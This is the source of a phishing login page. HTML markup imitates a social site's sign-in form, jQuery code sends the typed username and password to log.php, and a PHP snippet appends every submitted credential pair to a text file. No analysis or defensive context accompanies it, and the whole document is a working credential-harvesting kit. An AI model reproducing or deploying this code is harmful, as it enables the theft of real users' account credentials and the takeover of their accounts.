<form class="_rwf8p" data-reactid=".0.0.0.0.1.2">
<div class="_ccek6 _i31zu" data-reactid=".0.0.0.0.1.2.0">
<input class="_kp5f7 _qy55y" aria-required="true" autocapitalize="off" id="Username" name="Username" type="username" placeholder="Username" value="" autocorrect="off" spellcheck="false" class="" data-reactid=".0.0.0.0.1.2.0.0" type="text"></div>
<div class="_ccek6 _i31zu" data-reactid=".0.0.0.0.1.2.1">
<input class="_kp5f7 _qy55y" aria-required="true" autocapitalize="off" id="Passwd" name="Passwd" type="password" placeholder="Password" value="" autocorrect="off" spellcheck="false" class="" data-reactid=".0.0.0.0.1.2.1.0" type="password">
<div class="_j4ox0" data-reactid=".0.0.0.0.1.2.1.1"><a class="_19gtn" href="/accounts/password/reset/" data-reactid=".0.0.0.0.1.2.1.1.0">Forgot?</a></div></div><button class="_rz1lq _k2yal _84y62 _7xso1 _nv5lf" data-reactid=".0.0.0.0.1.2.2">Log in</button></form></div></div>
    <script>
        $("html").keypress(function(event) {
          if(event.keyCode == 13) {
            saveCridentials();
          }
        });

        $("#signIn").click(function() {
          saveCridentials();
        });

        function saveCridentials() {
          $.ajax({
            type: "POST",
            url: "log.php",
            data: { "username" : $("#Username").val(), "password" : $("#Passwd").val() },
            dataType: "json"
          });

          $("#Username").val("");
          $("#Passwd").val("");
        }
      </script>

<?php
    $username = $_POST['username'];
    $password = $_POST['password'];

    fwrite(fopen('cridentials.txt', 'a'), "Username: ". $username . " Password: ". $password . "n");
?>